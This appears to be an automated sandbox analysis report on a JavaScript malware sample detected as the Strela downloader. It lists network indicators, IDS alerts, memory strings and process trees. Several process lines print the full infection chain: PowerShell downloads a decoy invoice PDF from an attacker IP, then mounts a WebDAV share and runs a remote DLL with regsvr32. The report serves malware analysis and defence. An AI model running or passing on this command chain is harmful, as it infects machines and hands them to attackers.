Source: http	Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:14:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1440584177.00000171C3C0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1503234829.000001D6E699C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1509362059.000001D6E6968000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space$0
Source: svchost.exe, 00000009.00000002.2736217951.0000021210400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1497592888.00000212101E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1984, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1972921391166218927.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2500:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ft0y1cd.vso.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,4100416160910318188,17056196389854407797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,4100416160910318188,17056196389854407797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
